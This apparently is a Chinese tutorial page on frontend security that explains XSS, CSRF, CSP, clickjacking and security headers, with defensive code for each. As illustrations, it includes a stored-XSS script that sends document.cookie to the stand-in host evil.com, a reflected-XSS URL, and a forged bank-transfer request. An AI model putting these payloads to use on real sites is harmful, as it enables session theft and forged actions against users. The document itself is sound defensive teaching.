AI增强型分层开发工作流:生产就绪的免费工具链实践
2026/6/25 20:06:36
XSS、CSRF、CSP:理解前端安全威胁,构建防御体系,保护用户数据安全
读完本文,你将学会:
攻击者注入恶意脚本 ──▶ 用户浏览器执行 ──▶ 窃取 Cookie、伪造请求 示例: 用户在评论区输入: <script>fetch('https://evil.com?cookie='+document.cookie)</script> 其他用户查看评论时,脚本在其浏览器中执行存储型 XSS: 恶意脚本存储在服务器(数据库),影响所有访问者 例: 评论区、用户资料 反射型 XSS: 恶意脚本在 URL 中,诱导用户点击 例: https://site.com/search?q=<script>alert(1)</script> DOM 型 XSS: 前端 JS 处理不当导致 例: location.hash 直接插入 DOM// 1. 输入过滤(不信任任何用户输入)functionescapeHtml(text){constdiv=document.createElement('div');div.textContent=text;returndiv.innerHTML;}// 2. 输出编码(渲染到页面时转义)// ❌ 危险element.innerHTML=userInput;// ✅ 安全element.textContent=userInput;// 或使用 DOMPurifyimportDOMPurifyfrom'dompurify';element.innerHTML=DOMPurify.sanitize(userInput);// 3. Cookie 安全设置// HttpOnly: JS 无法读取// Secure: 仅 HTTPS 传输// SameSite: 限制跨站 Cookie 发送Set-Cookie:session=xxx;HttpOnly;Secure;SameSite=Strict完整防御代码见CODE-ADVANCED/17-前端安全基础/xss-defense.html
用户已登录 bank.com ↓ 用户访问 evil.com ↓ evil.com 发送请求: POST bank.com/transfer?to=attacker&amount=1000 ↓ bank.com 验证 Cookie 有效,执行转账!// 1. CSRF Token// 服务器生成随机 Token,嵌入表单<form action="/transfer"method="POST"><input type="hidden"name="csrf_token"value="随机字符串"><!--...--></form>// 2. SameSite CookieSet-Cookie:session=xxx;SameSite=Lax// Strict: 完全禁止跨站携带// Lax: GET 请求可携带(允许正常跳转)// 3. 验证 Origin/Refererconstorigin=request.headers.get('Origin');if(origin&&origin!=='https://bank.com'){returnnewResponse('Forbidden',{status:403});}// 4. 双重 Cookie 验证// 发送请求时携带 Cookie 中的 token,同时放入请求头fetch('/api/action',{headers:{'X-CSRF-Token':getCookie('csrf_token')}});Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; font-src 'self' https://fonts.gstatic.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self';| 指令 | 作用 |
|---|---|
default-src | 默认策略,其他未指定指令继承 |
script-src | 允许加载 JS 的来源 |
style-src | 允许加载 CSS 的来源 |
img-src | 允许加载图片的来源 |
connect-src | 允许 fetch/XHR/WebSocket 的目标 |
frame-ancestors | 允许嵌入当前页面的来源(防点击劫持) |
base-uri | 限制 base 标签 |
<!-- HTML Meta 标签配置 CSP --><metahttp-equiv="Content-Security-Policy"content="default-src 'self'; script-src 'self' 'unsafe-inline'"><!-- 使用 nonce --><scriptnonce="abc123">console.log('此脚本被 CSP 允许');</script>攻击者用 iframe 嵌入目标网站,覆盖透明按钮 用户以为点击的是 A,实际点击的是 B 防御: X-Frame-Options: DENY // 完全禁止嵌入 X-Frame-Options: SAMEORIGIN // 仅同域可嵌入 // 或 CSP: frame-ancestors 'none'// ❌ 错误:前端暴露敏感配置constconfig={apiKey:'sk-1234567890abcdef',// 泄漏!dbPassword:'secret123'// 泄漏!};// ✅ 正确:敏感操作由后端处理// 前端只存储非敏感配置constconfig={apiEndpoint:'/api/v1',maxUploadSize:10*1024*1024};Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY Referrer-Policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), microphone=(), camera=()| 误区 | 正确做法 |
|---|---|
| 前端验证就够了 | 前端验证只提升体验,后端必须二次验证 |
| 使用 innerHTML 没问题 | 永远不要将用户输入直接插入 innerHTML |
| HTTPS 就安全了 | HTTPS 只防窃听,不防 XSS/CSRF |
| CSP 影响开发效率 | 开发时用 report-only 模式,不影响功能 |
| 安全是后端的事 | 前端是安全的第一道防线 |
创建一个评论组件,实现输入转义和 DOMPurify 过滤。
为一个单页应用编写 CSP 策略,确保功能正常的同时限制脚本来源。
本文示例代码位于:CODE-ADVANCED/17-前端安全基础/
| 文件名 | 说明 |
|---|---|
xss-defense.html | XSS 攻击与防御演示 |
csrf-demo.js | CSRF Token 实现示例 |
csp-config.html | CSP 策略配置示例 |
security-headers.js | 安全头部配置汇总 |
如果本文对你有帮助,欢迎点赞、收藏、关注专栏。有任何问题可以在评论区交流!